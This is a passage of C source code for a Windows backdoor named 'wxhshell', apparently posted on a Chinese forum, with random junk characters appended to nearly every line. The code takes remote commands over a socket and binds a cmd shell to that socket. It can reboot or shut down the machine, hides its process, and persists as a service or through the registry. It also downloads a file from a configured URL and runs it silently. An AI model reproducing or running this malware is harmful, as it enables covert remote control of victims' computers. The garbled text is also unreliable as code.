  x5rm 2C  
  // 帮助 fK@UlMC]7  
  case '?': { 2WKIO|'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M9VAs~&S  
    break; OHngpe4  
  } g p|G q  
  // 安装 V.Lk70 \  
  case 'i': { @Py'SH!-  
    if(Install()) rWM5&M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rdj3dg'<  
    else rf^IJY[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bq4@I_b  
    break; #cD$ DA  
    } ) cOBP}j+  
  // 卸载 ]U4C2}u  
  case 'r': { Ttb?x<)+8  
    if(Uninstall()) -DZ5nx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j~Ci*'*L  
    else DvI^3iG8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Z1m9O "sy  
    break; - t 4F  
    } \dB z-H'@  
  // 显示 wxhshell 所在路径 }ew )QHd  
  case 'p': { ,*L3  
    char svExeFile[MAX_PATH]; b83m'`vRM  
    strcpy(svExeFile,"\n\r"); h}m9L!+n8  
      strcat(svExeFile,ExeFile); 4 ;6,h6a  
        send(wsh,svExeFile,strlen(svExeFile),0); &ML-\aSal  
    break; s/;S2l$`  
    } #cJ1Jj $  
  // 重启 ~-yq,x  
  case 'b': { z^KBV ^n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FVOPC:}bj  
    if(Boot(REBOOT)) _lH:%E*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @%MGLR{pH  
    else { (c3O> *M  
    closesocket(wsh); ,k:>Z&:  
    ExitThread(0); D#>d+X$  
    } &xC5Mecb*  
    break; >n&+<06  
    } nob}}w]~C  
  // 关机 {*F8'6YQ$  
  case 'd': { eY:jVYG(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &]KA%Db2  
    if(Boot(SHUTDOWN)) ~^3U@( :  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BQgK<_  
    else { M;.:YkrUH  
    closesocket(wsh); 7Sycy#D  
    ExitThread(0); p{0rHu[  
    } "GxQ9=Z  
    break; 0)vX  
    } 6D4u?P,  
  // 获取shell `Z@qWB<  
  case 's': { w/ID y Q  
    CmdShell(wsh); pe\]}&  
    closesocket(wsh); Wjd_|Kui  
    ExitThread(0); >/-Bg:  
    break; ,F|49i.K  
  } %:-2P  
  // 退出 g`=Z%{z%  
  case 'x': { M"OCwBT U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~NK|q5(I  
    CloseIt(wsh); 8(:O5#  
    break; z_$F)*PL  
    } .k5&C/jv  
  // 离开 S]c&T`jx  
  case 'q': { UtB~joaR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +4]f6Zz({  
    closesocket(wsh); ir;az{T#U  
    WSACleanup(); s<LYSrd  
    exit(1);  (=Lx9-u  
    break; N/B-u)?\:  
        } O 0P4uq  
  } baR*4{]  
  } ?*f2P T?`  
5W_Rg:J{P  
  // 提示信息 \q|<\~A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {9./-  
} /yO0Z1G  
  } H$3:Ra+ S  
7Rr +Uzb(  
  return; mw${3j~&  
} R6irL!akAd  
HAcC& s8  
// shell模块句柄 g % 8@pjk  
int CmdShell(SOCKET sock) jQ P2[\  
{ K@!Gs'Op  
STARTUPINFO si; >s ;dooZ  
ZeroMemory(&si,sizeof(si)); 7Y1FFw |  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @_"Z]Y ,D0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E$5A 1  
PROCESS_INFORMATION ProcessInfo; h`MTB!o  
char cmdline[]="cmd"; ]M&KUgz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >yt8gw0J  
  return 0; vq5o?$:-  
} ";w"dfC^  
_Qf310oONS  
// 自身启动模式 Uj)`(}r  
int StartFromService(void) ^r 9  
{ TDW\n  
typedef struct 3ZL<6`YF  
{ 8]% e[  
  DWORD ExitStatus; J@(69&  
  DWORD PebBaseAddress; lD1m<AC  
  DWORD AffinityMask; <L<d_  
  DWORD BasePriority; 5wm(gF_t  
  ULONG UniqueProcessId; 6tBe,'*  
  ULONG InheritedFromUniqueProcessId; u'"]{.K>fb  
}   PROCESS_BASIC_INFORMATION; #J*hZ(Pq  
p) m0\  
PROCNTQSIP NtQueryInformationProcess; Uizg.<.  
%_ Vj'z~T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0-I L@Di`F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =a_ >")  
%2`.*]L  
  HANDLE             hProcess;  D ~t  
  PROCESS_BASIC_INFORMATION pbi; *~jTE;J  
,uCgC4EP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7SJtW`~  
  if(NULL == hInst ) return 0; 3|1v)E  
Qis/'9a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1c*XmMB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '0jn|9l58  
Dq9*il;'  
  if (!NtQueryInformationProcess) return 0; rc7^~S]5  
*L#\#nh7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /zIUYY  
  if(!hProcess) return 0; C5EaP%s  
#-bz$w#*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |aS272'  
G57c 8}\4  
  CloseHandle(hProcess); G9r~O#=gy  
d&t,^Hj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Fz@9 @  
if(hProcess==NULL) return 0; $3^Cp_p6  
MW|:'D`  
HMODULE hMod; DAx 1  
char procName[255]; gH|:=vfYUR  
unsigned long cbNeeded; 7Nlk:f)*-  
>AUzsQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); . MH;u3U  
)i$KrN6  
  CloseHandle(hProcess); +W}6o3x~  
VqnM>||  
if(strstr(procName,"services")) return 1; // 以服务启动 t`E e/L%  
?=V;5H.  
  return 0; // 注册表启动 Z6IWQo,)Rh  
} DN;3VT.-  
.._UI2MA  
// 主模块 V&J'2Lq  
int StartWxhshell(LPSTR lpCmdLine) ..UA*#%1  
{ I)q"M]~  
  SOCKET wsl; m,PiuR>  
BOOL val=TRUE; Ex@o&j\93  
  int port=0;  /J[s5{  
  struct sockaddr_in door; <^Jdl.G  
M^jEp  
  if(wscfg.ws_autoins) Install(); -qdt$jIM  
28LYGrB  
port=atoi(lpCmdLine); 1SSS0&  
j. mla  
if(port<=0) port=wscfg.ws_port; p|Nh:4iN  
@k-iy-|3 )  
  WSADATA data;  a S ,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "43F.!P  
N%!{n7`N:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w L4P-4'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q0VR&b`?>D  
  door.sin_family = AF_INET; QfRo`l/V9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1EA#c>I$  
  door.sin_port = htons(port); d VyT`  
3U%kf<m=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U}DLzn|w  
closesocket(wsl); Y |9  
return 1; 0?O$->t  
} b!`{fwV  
Cm;M; ?  
  if(listen(wsl,2) == INVALID_SOCKET) { & 6nLnMF8x  
closesocket(wsl); nfksi``Vq  
return 1; MM(\>J[Uq  
} sq;3qbz  
  Wxhshell(wsl); Y]bS=*q  
  WSACleanup(); > Ft)v  
QM@zy  
return 0; K>G.HN@  
h`f$]_c  
} Ik-E_U2  
fw)Q1"|  
// 以NT服务方式启动 D 3Tqk^5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ) (0=w4  
{ D qHJ *x4  
DWORD   status = 0; aATNeAR  
  DWORD   specificError = 0xfffffff; C!)ZRuRv  
YFP<^y=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }!V-FAL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UHR%0ae  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HYl~)O>  
  serviceStatus.dwWin32ExitCode     = 0; 4`Lr^q}M+  
  serviceStatus.dwServiceSpecificExitCode = 0; ZP '0=  
  serviceStatus.dwCheckPoint       = 0; HJJ; gTj  
  serviceStatus.dwWaitHint       = 0; O~m Q\GlW  
2WC$r8E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *U +<Hv`C  
  if (hServiceStatusHandle==0) return; jcHyRR1R  
lcK4 Uq\q  
status = GetLastError(); 0[E \h   
  if (status!=NO_ERROR) ~bsdy2&/q  
{ ^G4@cR.An  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z `jLKPP!=  
    serviceStatus.dwCheckPoint       = 0; 8J:=@X^}  
    serviceStatus.dwWaitHint       = 0; % _nmv  
    serviceStatus.dwWin32ExitCode     = status; D~n-;T  
    serviceStatus.dwServiceSpecificExitCode = specificError; d .%2QkL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /  QT>"  
    return; ]A%~bQ7  
  } \}W !  
Z"$iB-]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O_L>We@3E  
  serviceStatus.dwCheckPoint       = 0; zI4d|P  
  serviceStatus.dwWaitHint       = 0; 9 !$&1|,*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~BMUea(  
} 8.Ufw. 5  
MV]`[^xQ5  
// 处理NT服务事件,比如:启动、停止 C-XJe~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6q^\pJY%&7  
{ hbEqb{#}@  
switch(fdwControl) #4<=Ira5  
{ !*S,S{T8  
case SERVICE_CONTROL_STOP: snYeo?|b  
  serviceStatus.dwWin32ExitCode = 0; S0M i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0#4A0[vV  
  serviceStatus.dwCheckPoint   = 0;  \>||  
  serviceStatus.dwWaitHint     = 0; e$/y ~!  
  { kU,g=+ 2J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mZO-^ct4  
  } F)4I70vG  
  return; L7R!,  
case SERVICE_CONTROL_PAUSE: 'KDt%?24  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3aU5rbi|B  
  break; t~ <HFY*w  
case SERVICE_CONTROL_CONTINUE: BS(jC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \Foo:jON  
  break; m^ Epw4eg  
case SERVICE_CONTROL_INTERROGATE: %7QSBL  
  break; m_.9 PZ  
}; L/In~' *-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W]XM<# ^^  
} hV:++g  
"!CVm{7[  
// 标准应用程序主函数 K+"3He  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;A4j_ 8\[  
{ :zY;eJKm  
f@[)*([  
// 获取操作系统版本 %a FZbLK  
OsIsNt=GetOsVer(); #<X4RJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'T$Cw\F&  
T?RN} @D  
  // 从命令行安装 -xbs'[  
  if(strpbrk(lpCmdLine,"iI")) Install(); cQ'x]u_  
3iUJ!gK  
  // 下载执行文件 :s \zk^h?  
if(wscfg.ws_downexe) { ~!=Am:-wr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wE"lk  
  WinExec(wscfg.ws_filenam,SW_HIDE); mG$N%`aG  
} l(Dr@LB~  
Xu E' %;:  
if(!OsIsNt) { g9CedD%40  
// 如果时win9x,隐藏进程并且设置为注册表启动 C#e :_e]  
HideProc(); QUaV;6 4  
StartWxhshell(lpCmdLine); h(R7y@mp\0  
} qM+Ai*q  
else Bex;!1  
  if(StartFromService()) $-u c#57  
  // 以服务方式启动 %|ClYr  
  StartServiceCtrlDispatcher(DispatchTable); pL!,1D!  
else <$K=3&:s8q  
  // 普通方式启动 !3iZa*  
  StartWxhshell(lpCmdLine); IaQm)"Z  
 Na@;F{  
return 0; \o=9WKc  
}
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只看该作者 1 发表于: 2006-10-10
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